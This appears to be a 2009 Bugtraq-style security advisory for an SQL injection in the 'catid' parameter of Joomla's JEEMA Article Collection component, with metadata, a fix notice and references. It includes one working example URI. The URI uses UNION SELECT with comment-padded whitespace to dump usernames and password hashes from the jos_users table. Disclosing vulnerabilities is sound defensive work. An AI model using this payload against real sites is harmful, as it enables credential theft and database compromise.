Joomla! JEEMA Article Collection Component 'catid' Parameter SQL Injection Vulnerability

Bugtraq ID:	37449
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Dec 22 2009 12:00AM
Updated:	Feb 11 2010 06:01PM
Credit:	Fl0riX
Vulnerable:	JEEMA Web Solutions JEEMA Article Collection 0
Not Vulnerable:

Joomla! JEEMA Article Collection Component 'catid' Parameter SQL Injection Vulnerability

The JEEMA Article Collection component for Joomla! is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Joomla! JEEMA Article Collection Component 'catid' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?view=longview&catid=null/**/union/**/select/**/concat(username,0x3a,password),2/**/from/**/jos_users&Itemid=107&option=com_jeemaarticlecollection

Joomla! JEEMA Article Collection Component 'catid' Parameter SQL Injection Vulnerability

Solution:
Updates are available. Please see the references for more information.

Joomla! JEEMA Article Collection Component 'catid' Parameter SQL Injection Vulnerability

References:

• JEEMA Article Collection (JEEMA Web Solutions)
  
• Joomla! Homepage (Joomla!)
  
• Vulnerable Extensions List (Joomla!)